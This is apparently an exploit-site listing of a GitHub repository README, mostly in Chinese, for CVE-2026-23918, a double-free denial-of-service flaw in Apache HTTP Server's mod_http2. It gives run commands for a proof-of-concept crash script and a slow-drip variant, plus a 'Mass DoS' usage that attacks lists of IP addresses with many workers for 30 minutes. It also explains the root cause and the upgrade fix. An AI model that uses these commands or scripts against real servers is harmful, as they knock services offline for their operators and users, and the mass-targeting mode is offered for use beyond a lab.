## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RHASAN-COM-CVE-2026-23918
# CVE-2026-23918:Apache HTTP/2 双重释放 DoS
   
**CVE-2026-23918** | Apache HTTP Server 2.4.66 | CWE-415:双重释放 | CVSS 8.8 | 已在 2.4.67 中修复
`mod_http2`(`h2_mplx.c`)中的双重释放漏洞允许远程攻击者通过快速的 RST_STREAM 帧触发 `c1c2_stream_joined()` 与 `m_stream_cleanup()` 之间的竞争条件,从而导致拒绝服务(工作进程崩溃)。
* * *
## 快速开始
root@kitploit:~
# 1. Start the lab
docker-compose up --build -d
# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443
# 3. Watch the crash
docker logs -f apache-lab
# 4. Clean up
docker-compose down -v
> **结果:** 服务器在 **约 30 秒–3 分钟** 内因 `SIGSEGV` 崩溃 —— 可靠的 DoS 已确认。
* * *
## 漏洞利用
文件| 描述
---|---
`poc.py`| **Rapid-RST** —— 快速攻击,可在 30 秒–3 分钟内使服务器崩溃
`exploits/slow-drip.py`| **Slow Drip** —— 低带宽持续攻击
### Mass DoS 用法
root@kitploit:~
# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt
# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7
* * *
## 漏洞原理
该漏洞在以下情况下触发:
1. 一个流同时被 `c1c2_stream_joined()` 和 `m_stream_cleanup()` 加入
2. 两者都将同一个流添加到 `m->spurge`,且未进行去重
3. `h2_purge_then_destroy()` 两次销毁该流 → **双重释放 → 段错误**

* * *
## 缓解措施
**升级到 Apache 2.4.67** 或更高版本。
* NVD — CVE-2026-23918
* Apache 安全公告
* * *
## 深度分析
完整的漏洞分析、根因剖析、利用说明与修复建议: → **rhasan.com/CVE-2026-23918**
* * *
## 致谢
|
---|---
**发现者**| Bartlomiej Dmitruk (striga.ai) · Stanislaw Strzalkowski (isec.pl)
**报告时间**| 2025-12-10
**修复版本**
* * *
## 参考资料
* CWE-415:双重释放
* oss-sec 邮件列表
* * *
⭐ 如果你觉得这个仓库有用,请给它点个 Star!
## Stars
